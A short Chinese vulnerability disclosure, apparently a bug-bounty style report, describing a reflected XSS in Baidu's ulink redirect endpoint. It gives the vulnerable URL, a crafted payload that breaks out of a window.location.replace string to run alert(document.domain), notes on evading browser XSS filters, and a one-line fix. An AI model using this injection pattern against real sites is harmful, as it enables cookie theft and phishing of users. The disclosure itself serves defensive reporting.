百度主站反射型XSS 很低级的错误,下歌词的时候,无意中发现的。
以下面的URL为例:
http://www.baidu.com/ulink?url=http%3A%2F%2Fmusic.baidu.com%2F%2Fdata2%2Flrc%2F34272020%2F34272020.lrc%3Ffm%3Daltg5&wd=lose%20yourself%E6%AD%8C%E8%AF%8D&&tn=baidu&&ie=utf-8&&&&oq=lose%20yourse&&f=3&rsp=1&inputT=11
这里的参数url的值,最后会传递到window.location.replace里面
<script>window.location.replace("http://music.baidu.com//data2/lrc/34272020/34272020.lrc?fm=altg5")</script>
这里有对http://music.baidu.com//data2/lrc/34272020/34272020.lrc这个文件的存在与否做了判断,但是可以在后面的参数上做文章。比如:
http://www.baidu.com/ulink?url=http%3A%2F%2Fmusic.baidu.com%2F%2Fdata2%2Flrc%2F34272020%2F34272020.lrc%3Ffm%3Daltg5%22%29;alert%28document.domain%29;//&wd=lose%20yourself%E6%AD%8C%E8%AF%8D&&tn=baidu&&ie=utf-8&&&&oq=lose%20yourse&&f=3&rsp=1&inputT=11
最终变成:<script>window.location.replace("http://music.baidu.com//data2/lrc/34272020/34272020.lrc?fm=altg5");alert(document.domain);//")</script>
由于是输出在script内的情况,所以浏览器自带的一些XSS filter应该是不会去拦截的。
相关贴图:
测试于firefox28,chrome33
修复方案:
escape it